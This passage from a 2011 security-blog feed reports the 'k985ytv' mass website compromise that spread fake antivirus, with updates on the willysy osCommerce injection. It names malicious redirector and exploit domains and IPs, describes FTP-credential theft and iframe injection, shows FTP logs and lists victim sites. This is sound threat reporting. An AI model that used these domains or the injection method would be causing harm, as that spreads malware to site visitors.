href='http://blog.armorize.com/2011/08/malvertising-on-google-doubleclick.html' title='Malvertising on Google Doubleclick ongoing'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-rJpCttTqIv8/TlYqg4QRGVI/AAAAAAAACdQ/ZE1xOY7MASQ/s72-c/728.PNG' height='72' width='72'/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-8058437674554410839</id><published>2011-08-17T07:33:00.000-07:00</published><updated>2011-12-05T00:05:38.562-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='k985ytv'/><category scheme='http://www.blogger.com/atom/ns#' term='fake antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='Mass Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>k985ytv mass compromise ongoing, spreads fake antivirus</title><content type='html'>(Credits: Wayne Huang, Chris Hsiao, NightCola Lin)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Qrn0RR_eGfE/TkvSeDbHj5I/AAAAAAAACb4/vQZygguN8KI/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_google_2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://1.bp.blogspot.com/-Qrn0RR_eGfE/TkvSeDbHj5I/AAAAAAAACb4/vQZygguN8KI/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_google_2.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-ta1zDGxVsPQ/Tku3QjMPbaI/AAAAAAAACbA/iXTh3iBxzOk/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_windows_7_1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://3.bp.blogspot.com/-ta1zDGxVsPQ/Tku3QjMPbaI/AAAAAAAACbA/iXTh3iBxzOk/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_windows_7_1.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;On August 14, we started to see mass compromise of websites to inject malicious iframes that spread fake antivirus malware. The attack is ongoing, and this is our report.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Table of Contents]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8058437674554410839#Summary"&gt;[1. Summary]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8058437674554410839#video"&gt;[2. The visitor infection process]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8058437674554410839#malware"&gt;[3. The fake antivirus being spread]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8058437674554410839#logs"&gt;[4. Sample FTP logs of infected websites]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8058437674554410839#list"&gt;[5. Sample list of infected websites and screenshots of some of them]&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a name="Summary"&gt;&lt;b&gt;[1. Summary]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. Initial detection date:&lt;/b&gt; August 14.&lt;br /&gt;&lt;b&gt;2. Number of infected website:&lt;/b&gt; We estimate at least 22,400 unique &lt;b&gt;DOMAINS&lt;/b&gt;. The attackers' first attempt was not successful and therefore &lt;a href="http://www.google.com/search?sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=%22mv%3D%27uf%27%3Bjx%3D%27tv.%27%3Bcg%3D%27me%27%3Bk%3D%27e%27%3Bmg%3D%27rc%27%3Bg%3D%27ys%27%3B%22&amp;amp;hl=en#q=%22mv%3D%27uf%27%3Bjx%3D%27tv.%27%3Bcg%3D%27me%27%3Bk%3D%27e%27%3Bmg%3D%27rc%27%3Bg%3D%27ys%27%3B%22&amp;amp;hl=en&amp;amp;prmd=ivns&amp;amp;ei=F9JLTv3JBc7OrQfGuumSBw&amp;amp;start=90&amp;amp;sa=N&amp;amp;bav=on.2,or.r_gc.r_pw.r_cp.&amp;amp;fp=6c03fc000f912511&amp;amp;biw=734&amp;amp;bih=447"&gt;google indexed&lt;/a&gt; more than 536,000 infected &lt;b&gt;pages&lt;/b&gt;. However, since then the attackers have fixed the injected pattern and therefore the injected script is executed rather than displayed. Google therefore does not index infected websites any longer.&lt;br /&gt;&lt;b&gt;3. Injected scripts:&lt;/b&gt;&lt;br /&gt;Initially (no &amp;lt;script&amp;gt; tag and therefore indexed by Google):&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-cEUDoBkRRKA/Tku8Xu5mdCI/AAAAAAAACbI/y1-pCgt7GXI/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_injected_script_1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-cEUDoBkRRKA/Tku8Xu5mdCI/AAAAAAAACbI/y1-pCgt7GXI/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_injected_script_1.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Full text of above is &lt;a href="http://pastebin.com/LEgk4hxb"&gt;here on pastebin&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Later, it quickly became one of the following (with &amp;lt;script&amp;gt; tag and therefore works)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-938oLzhvxxI/Tku9jifs-ZI/AAAAAAAACbQ/wbZVTN23c8o/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_injected_script_2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://4.bp.blogspot.com/-938oLzhvxxI/Tku9jifs-ZI/AAAAAAAACbQ/wbZVTN23c8o/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_injected_script_2.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Full text of above is &lt;a href="http://pastebin.com/RPhdDkMq"&gt;here on pastebin&lt;/a&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-4HNEyLclgS4/Tku_VaEIwnI/AAAAAAAACbY/gGhXPC0oSAg/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_injected_script_3.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://3.bp.blogspot.com/-4HNEyLclgS4/Tku_VaEIwnI/AAAAAAAACbY/gGhXPC0oSAg/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_injected_script_3.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Full text of above is &lt;a href="http://pastebin.com/2vsv6eES"&gt;here on pastebin&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4.Browser Exploitation:&lt;/b&gt; Drive-by download script served by a modified version of the BlackHole exploit pack.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;5. Malware:&lt;/b&gt; Fake antivirus, different names in different OS: "XP Security 2012" under Windows XP, "Vista Antivirus 2012" under Windows Vista, and "Win 7 Antivirus 2012" under Windows 7.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;6. Injection method:&lt;/b&gt; Primarily via stolen FTP credentials, and then use automated program to FTP, retrieve files, inject iframe, and upload back. FTP credentials are stolen from personal Windows computers that have been infected with malware. Malware searches stored password files of FTP clients and also sniffs the FTP traffic. Stolen credentials are sent back to the attackers.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;7. Malicious domains and IPs:&lt;/b&gt;&lt;br /&gt;Redirectors:&lt;br /&gt;1. hysofufewobe.com (ex: http://hysofufewobe.com/&lt;b&gt;k985ytv.htm&lt;/b&gt;)&lt;br /&gt;2. zirycatum.com (ex: http://zirycatum.com/&lt;b&gt;k985ytv.htm&lt;/b&gt;)&lt;br /&gt;3. numudozaf.com (ex: http://numudozaf.com/&lt;b&gt;k985ytv.htm&lt;/b&gt;)&lt;br /&gt;&lt;br /&gt;Above all resolve to the same &lt;b&gt;Moldova (south of Ukraine)&lt;/b&gt;IP: 178.17.163.92, registered under the name of "Alexandr S Grebennikov," on July 25. &lt;br /&gt;&lt;br /&gt;Exploit servers:&lt;br /&gt;1. jbvnhw.com (ex: http://jbvnhw.com/&lt;b&gt;i87yta.htm&lt;/b&gt;)&lt;br /&gt;2. mlvurp.com (ex: http://mlvurp.com/&lt;b&gt;i87yta.htm&lt;/b&gt;)&lt;br /&gt;3. rprlpb.com (ex: http://rprlpb.com/&lt;b&gt;i87yta.htm&lt;/b&gt;)&lt;br /&gt;4. efnxkg.com (ex: http://efnxkg.com/&lt;b&gt;i87yta.htm&lt;/b&gt;)&lt;br /&gt;&lt;br /&gt;All resolves to US IP: 69.50.202.74 (AS18866), belonging to &lt;a href="http://www.atjeu.com/"&gt;Atjeu Website Hosting&lt;/a&gt;. All exploit domains were registered under name "Alardo Macias" on August 14.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;8. Antivirus detection rate:&lt;/b&gt; Currently &lt;a href="http://www.virustotal.com/file-scan/report.html?id=a1bd3278d34d8484ef89dd679c5e2e241c18feebdc11cde042fc7ce1c325b061-1313382824"&gt;5 out of 43 on VirusTotal&lt;/a&gt;:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-8v2P6iernjI/TkxkSj0r3_I/AAAAAAAACdA/-5T3U9P8xvk/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_virustotal2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://4.bp.blogspot.com/-8v2P6iernjI/TkxkSj0r3_I/AAAAAAAACdA/-5T3U9P8xvk/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_virustotal2.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a name="video"&gt;&lt;b&gt;[2. The visitor infection process]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To show how visitors are infected and how we can analyze the infection, we've made the following video:&lt;br /&gt;&lt;iframe src="http://www.youtube.com/embed/8fVgjDeaBeg" allowfullscreen="" frameborder="0" height="468" width="750"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name="malware"&gt;&lt;b&gt;[3. The fake antivirus being spread]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Fake AV displays different names in different OS: "XP Security 2012" under Windows XP, "Vista Antivirus 2012" under Windows Vista, and "Win 7 Antivirus 2012" under Windows 7. Below are some screenshots:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-CDiMlid7Xcg/TkvK5mev5mI/AAAAAAAACbg/4YkQqudp3oI/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_windows_7_1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://3.bp.blogspot.com/-CDiMlid7Xcg/TkvK5mev5mI/AAAAAAAACbg/4YkQqudp3oI/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_windows_7_1.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-YO94fY0wF8k/TkvK573hCQI/AAAAAAAACbo/C5UnhQrWk7o/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_windows_vista.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-YO94fY0wF8k/TkvK573hCQI/AAAAAAAACbo/C5UnhQrWk7o/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_windows_vista.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-jjgzBVT0P34/TkvK53vwqKI/AAAAAAAACbw/C0TN4fmkykY/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_windows_XP.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://1.bp.blogspot.com/-jjgzBVT0P34/TkvK53vwqKI/AAAAAAAACbw/C0TN4fmkykY/s1600/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_windows_XP.png" border="0" width="750" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a name="logs"&gt;&lt;b&gt;[4. Sample FTP logs of infected websites]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;204.12.252.138 UNKNOWN user1004 [14/Aug/2011:22:31:51 -0500] "LIST /example.com/ftp/" 226 11862&lt;br /&gt;204.12.252.138 UNKNOWN user1004 [14/Aug/2011:22:31:51 -0500] "TYPE I" 200 -&lt;br /&gt;204.12.252.138 UNKNOWN user1004 [14/Aug/2011:22:31:51 -0500] "PASV" 227 -&lt;br /&gt;204.12.252.138 UNKNOWN user1004 [14/Aug/2011:22:31:51 -0500] "SIZE index.htm" 213 -&lt;br /&gt;204.12.252.138 UNKNOWN user1004 [14/Aug/2011:22:31:51 -0500] "RETR index.htm" 226 12573&lt;br /&gt;204.12.252.138 UNKNOWN user1004 [14/Aug/2011:22:31:51 -0500] "TYPE I" 200 -&lt;br /&gt;204.12.252.138 UNKNOWN user1004 [14/Aug/2011:22:31:51 -0500] "PASV" 227 -&lt;br /&gt;204.12.252.138 UNKNOWN user1004 [14/Aug/2011:22:31:51 -0500] "STOR index.htm" 226 13018&lt;br /&gt;&lt;br /&gt;&lt;a name="list"&gt;&lt;b&gt;[5. Sample list of infected websites and screenshots of some of them]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-rRlwh-0pn3w/Tkvmb1b0esI/AAAAAAAACcY/EHoHPidwYvc/s1600/trainace.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://1.bp.blogspot.com/-rRlwh-0pn3w/Tkvmb1b0esI/AAAAAAAACcY/EHoHPidwYvc/s1600/trainace.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-sWd2LZXUedU/Tkvp42ht43I/AAAAAAAACcg/I93xgxRfzgg/s1600/epoquehotels.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-sWd2LZXUedU/Tkvp42ht43I/AAAAAAAACcg/I93xgxRfzgg/s1600/epoquehotels.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-LDcGwJo6MiY/Tkvp5PSsw1I/AAAAAAAACco/dncnNVTL1ZE/s1600/animationblogspot.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-LDcGwJo6MiY/Tkvp5PSsw1I/AAAAAAAACco/dncnNVTL1ZE/s1600/animationblogspot.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-p0UH1f1IyR4/Tkvp5QNRDRI/AAAAAAAACcw/PymevFvfZfo/s1600/articleality.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://4.bp.blogspot.com/-p0UH1f1IyR4/Tkvp5QNRDRI/AAAAAAAACcw/PymevFvfZfo/s1600/articleality.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-4EX9woYFjTA/Tkvp5RP4BnI/AAAAAAAACc4/2ftpErIm6E4/s1600/sleddersvision.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://3.bp.blogspot.com/-4EX9woYFjTA/Tkvp5RP4BnI/AAAAAAAACc4/2ftpErIm6E4/s1600/sleddersvision.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;uwpagina.nl&lt;br /&gt;mydesert.com&lt;br /&gt;paramountcommunication.com&lt;br /&gt;freebloggiveaways.com&lt;br /&gt;sikhsangeet.com&lt;br /&gt;thenewcivilrightsmovement.com&lt;br /&gt;shakeshack.com&lt;br /&gt;greenandcleanmom.org&lt;br /&gt;noor7.us&lt;br /&gt;restorationsos.com&lt;br /&gt;gopusanj.com&lt;br /&gt;amateurmodelsite.com&lt;br /&gt;animationblogspot.com&lt;br /&gt;accessoryworld.net.au&lt;br /&gt;advancedwaterfilters.com&lt;br /&gt;autoventa.com.bo&lt;br /&gt;usgoldbuyers.com&lt;br /&gt;kharidani.biz&lt;br /&gt;nwp4life.com&lt;br /&gt;chicagofree.info&lt;br /&gt;howwazyourweekend.com&lt;br /&gt;marinerslearningsystem.com&lt;br /&gt;articleolive.com&lt;br /&gt;pitchanything.net&lt;br /&gt;toysonics.com&lt;br /&gt;diaperdecisions.com&lt;br /&gt;realtimedesigner.com&lt;br /&gt;group-games.com&lt;br /&gt;coffeebreakwithlizandkate.com&lt;br /&gt;tvtopten.com&lt;br /&gt;la-zen.com&lt;br /&gt;mountainmaids.com&lt;br /&gt;healthlady.com&lt;br /&gt;articleality.com&lt;br /&gt;shophenna.com&lt;br /&gt;lifescircle.info&lt;br /&gt;xmworks.com&lt;br /&gt;articleoncall.com&lt;br /&gt;trainace.com&lt;br /&gt;grupo20.com&lt;br /&gt;tinkfanatic.com&lt;br /&gt;metrokingpc.ca&lt;br /&gt;rapidgiveawayprofits.com&lt;br /&gt;icebreakers.ws&lt;br /&gt;9y3h.com&lt;br /&gt;miamitvchannel.com&lt;br /&gt;beemaster.com&lt;br /&gt;buydropstop.com&lt;br /&gt;freeautoblogger.com&lt;br /&gt;bid4agents.com&lt;br /&gt;interstateplastics.com&lt;br /&gt;b3bootcamp.net&lt;br /&gt;bestbuyuniforms.com&lt;br /&gt;antigravityinc.com&lt;br /&gt;azholisticchamber.com&lt;br /&gt;root-h.org&lt;br /&gt;affiliateplrmarketing.com&lt;br /&gt;justinmichie.com&lt;br /&gt;cyberbullyingreport.com&lt;br /&gt;creativeblogsolutions.com&lt;br /&gt;advancedfanpagesolutions.com&lt;br /&gt;sungrubbies.com&lt;br /&gt;homewiththeboys.net&lt;br /&gt;marsvenus.com&lt;br /&gt;nhwellnesscenters.com&lt;br /&gt;universityfashions.com&lt;br /&gt;bandjob.com&lt;br /&gt;atmananda.com&lt;br /&gt;flyl4l.com&lt;br /&gt;filmyforum.com&lt;br /&gt;iftn.ie&lt;br /&gt;rjharris2012.com&lt;br /&gt;heppellmedia.com&lt;br /&gt;unionsquarecafe.com&lt;br /&gt;vatanfilm.co.cc&lt;br /&gt;statebrief.com&lt;br /&gt;daylabor.org&lt;br /&gt;affnet.com&lt;br /&gt;passingthru.com 906065,775885.net&lt;br /&gt;khojit.com.au&lt;br /&gt;listacquisition.com&lt;br /&gt;vestalwatch.com&lt;br /&gt;printedblindsfactory.com&lt;br /&gt;oauq.org&lt;br /&gt;theoriginalrudebitch.com&lt;br /&gt;quickcash4.us&lt;br /&gt;intraligilaw.ca&lt;br /&gt;ohswekenspeedway.com&lt;br /&gt;autosenbolivia.net&lt;br /&gt;cityclassifiedsads.com&lt;br /&gt;keepingmeposted.com&lt;br /&gt;henckengaines.com&lt;br /&gt;sportsmatchmaker.com&lt;br /&gt;premiereworks.com&lt;br /&gt;ahyasalam.com&lt;br /&gt;sandiegoduilawyer.com&lt;br /&gt;wecravegamestoo.com&lt;br /&gt;vodkasobieski.com&lt;br /&gt;itrmagictricks.com&lt;br /&gt;f1racefactory.com&lt;br /&gt;epoquehotels.us&lt;br /&gt;freakshowvideo.com&lt;br /&gt;write-solution.com&lt;br /&gt;hydrocephaluskids.org&lt;br /&gt;intersectioncapital.com&lt;br /&gt;&lt;br /&gt;killzonezero.com&lt;br /&gt;www.en.chosenfewurbano.com&lt;br /&gt;www.generalmoly.com&lt;br /&gt;www.pinnint.com&lt;br /&gt;www.hiphop.org&lt;br /&gt;www.fiftysevendegrees.com&lt;br /&gt;spbaseball.org&lt;br /&gt;www.ohiogisociety.org&lt;br /&gt;www.senjomartialarts.com&lt;br /&gt;www.assignmentproof.com&lt;br /&gt;tulakesbaptist.com&lt;br /&gt;www.generalmoly.com&lt;br /&gt;www.balboaparkdancers.org&lt;br /&gt;sho-ryders.com&lt;br /&gt;www.azholisticchamber.com&lt;br /&gt;www.ajseatery.com&lt;br /&gt;www.thegrangelifestylevillage.com.au&lt;br /&gt;www.north-fayette.com&lt;br /&gt;tilos.com&lt;br /&gt;www.parteen-gaa.com&lt;br /&gt;www.hawaiiancouncil.org&lt;br /&gt;www.levi-catering.com&lt;br /&gt;sbnmarble.com&lt;br /&gt;sayanythingblog.com&lt;br /&gt;cincyshopper.com&lt;br /&gt;www.fiftysevendegrees.com&lt;br /&gt;www.cincygardens.com&lt;br /&gt;www.freeridesurfshop.com&lt;br /&gt;sayanythingblog.com&lt;br /&gt;steve-watt.com&lt;br /&gt;www.thacoshammer.info&lt;br /&gt;www.stevenjackson.net&lt;br /&gt;www.dearborndumpsterrental.com&lt;br /&gt;basementrejects.com&lt;br /&gt;www.hawaiiancouncil.org&lt;br /&gt;www.frostbrothersentertainment.net&lt;br /&gt;www.levi-catering.com&lt;br /&gt;www.chicagodumpsterrental.org&lt;br /&gt;www.center44.com&lt;br /&gt;sbnmarble.com&lt;br /&gt;www.chicagodumpster.org&lt;br /&gt;buysomenow.com&lt;br /&gt;www.noinkonyourfingers.com&lt;br /&gt;www.nashvilledesign.com&lt;br /&gt;photocrystal.biz&lt;br /&gt;www.momsclubofbranchburg.org&lt;br /&gt;www.cardboardrecycling.freedumpsterrental.com&lt;br /&gt;www.atlantadumpster.org&lt;br /&gt;designresumes.com&lt;br /&gt;www.fiftysevendegrees.com&lt;br /&gt;3millionfans.com&lt;br /&gt;lpmndc.org&lt;br /&gt;www.bugfreeservices.com&lt;br /&gt;ibvsct.com&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-8058437674554410839?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/8058437674554410839/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/08/k985ytvhtm-fake-antivirus-mass.html#comment-form' title='22 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/8058437674554410839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/8058437674554410839'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/08/k985ytvhtm-fake-antivirus-mass.html' title='k985ytv mass compromise ongoing, spreads fake antivirus'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-Qrn0RR_eGfE/TkvSeDbHj5I/AAAAAAAACb4/vQZygguN8KI/s72-c/k985ytv_htm_mass_compromise_fake_av_drive_by_download_malware_google_2.png' height='72' width='72'/><thr:total>22</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-1324189524066367309</id><published>2011-08-03T23:10:00.000-07:00</published><updated>2011-08-08T18:49:37.803-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='osCommerce'/><category scheme='http://www.blogger.com/atom/ns#' term='Mass Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Willysy osCommerce injection: Over 6 million infected pages (update: now over 8 million) and a new video with new tools to do the analysis</title><content type='html'>(update: infection numbers are now over 8 million, see &lt;a href="http://blog.armorize.com/2011/07/willysycom-mass-injection-ongoing.html"&gt;original post&lt;/a&gt; for updates&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/--Uj0HKodPaY/Tjo0clfQ2yI/AAAAAAAACZ4/TWpq7zE6jtI/s1600/willysy_drive_by_download_mass_injection_google_6_million.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0"  src="http://3.bp.blogspot.com/--Uj0HKodPaY/Tjo0clfQ2yI/AAAAAAAACZ4/TWpq7zE6jtI/s1600/willysy_drive_by_download_mass_injection_google_6_million.png" /&gt;&lt;/a&gt;&lt;/div&gt;With the number of infected pages now over 6 million, we've again updated our &lt;a href="http://blog.armorize.com/2011/07/willysycom-mass-injection-ongoing.html"&gt;initial report&lt;/a&gt; on this willysy mass injection incident. We've also included in it the following new video, in which we used an internal tool to help make the malware analysis process more clear:&lt;br /&gt;&lt;br /&gt;&lt;iframe height="468" width="750" src="http://www.youtube.com/embed/1Jh_H4qQzqo" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;Thank you so much for those of you that sent us information--IPs, logs, etc. Sorry we're still analyzing them, but will post new update shortly!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-1324189524066367309?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/1324189524066367309/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/08/willysy-oscommerce-injection-over-6.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/1324189524066367309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/1324189524066367309'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/08/willysy-oscommerce-injection-over-6.html' title='Willysy osCommerce injection: Over 6 million infected pages (update: now over 8 million) and a new video with new tools to do the analysis'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/--Uj0HKodPaY/Tjo0clfQ2yI/AAAAAAAACZ4/TWpq7zE6jtI/s72-c/willysy_drive_by_download_mass_injection_google_6_million.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-3086917843336357430</id><published>2011-07-31T00:08:00.000-07:00</published><updated>2011-08-08T18:49:51.190-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='osCommerce'/><category scheme='http://www.blogger.com/atom/ns#' term='Mass Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Hosting attack'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>willysy.com mass injection has hit more than 3.8 million pages (update: now &gt; 8 million)</title><content type='html'>(update: the infection number is over 6 million now as of Aug 3rd)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-kwa9wRTCdWs/TjX79YmhKQI/AAAAAAAACZQ/fcKEQgZaW_s/s1600/willysy_drive_by_download_mass_injection_google_3_million.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0"  src="http://2.bp.blogspot.com/-kwa9wRTCdWs/TjX79YmhKQI/AAAAAAAACZQ/fcKEQgZaW_s/s1600/willysy_drive_by_download_mass_injection_google_3_million.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;On July 24th, we published our &lt;a href="http://blog.armorize.com/2011/07/willysycom-mass-injection-ongoing.html"&gt;initial report&lt;/a&gt; on this willysy mass injection incident, which at that time hit around 90,000 pages. &lt;br /&gt;&lt;br /&gt;As of July 31th, &lt;a href="http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=%22http://willysy.com/images/banners/%22&amp;hl=en#q=%22http://willysy.com/images/banners/%22&amp;hl=en&amp;prmd=ivns&amp;ei=F-81Tv2iB6_5mAWh3azwCg&amp;start=90&amp;sa=N&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=d31248080af7dd23&amp;biw=734&amp;bih=475"&gt;Google shows&lt;/a&gt; more than &lt;b&gt;3,410,000 (willysy) + 386,000 (exero) = 3.8 million infected pages&lt;/b&gt;. Note this number is for individual infected pages, not sites or domains.&lt;br /&gt;&lt;br /&gt;And so we've 